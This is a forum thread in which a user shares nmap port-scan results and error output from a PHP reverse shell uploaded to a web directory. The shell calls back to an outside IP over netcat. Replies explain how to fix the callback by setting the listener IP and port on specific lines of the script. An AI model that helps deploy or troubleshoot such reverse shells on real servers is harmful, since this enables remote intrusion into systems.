Does the port need to be open?
Hi. I'm trying this out on my own CentOS server. I used nmap to scan for open ports, I got this result:
Discovered open port 21/tcp on xxx.xx.xx.xxx
Discovered open port 143/tcp on xxx.xx.xx.xxx
Discovered open port 993/tcp on xxx.xx.xx.xxx
Discovered open port 110/tcp on xxx.xx.xx.xxx
Discovered open port 587/tcp on xxx.xx.xx.xxx
Discovered open port 995/tcp on xxx.xx.xx.xxx
Discovered open port 3306/tcp on xxx.xx.xx.xxx
Discovered open port 443/tcp on xxx.xx.xx.xxx
Discovered open port 25/tcp on xxx.xx.xx.xxx
Discovered open port 80/tcp on xxx.xx.xx.xxx
Discovered open port 465/tcp on xxx.xx.xx.xxx
Then I used netcat to listen to a port and modifed php file to communicate on that port and visited the url. Here's what I get for ports like 1234, 4444, etc.
WARNING: Failed to daemonise. This is quite common and not fatal.
Warning: fsockopen(): unable to connect to 198.46.87.211:4444 (Connection refused) in /home/xxxxxx/public_html/php-reverse-shell.php on line 100
Connection refused (111)
And when I try an open port like 3306, I get this:
WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to 198.46.87.211:3306 ERROR: Shell connection terminated
But I'm not getting anything on netcat in either case. What am I doing wrong?
you have to put IP of machine in which you start listener. It is just because of wrong IP. Thank you
and you have to start listener first.
im noob my friend can u tell me where i put the ip ?
Line no. 49 in php-reverse-shell.php And you can change port in line no. 50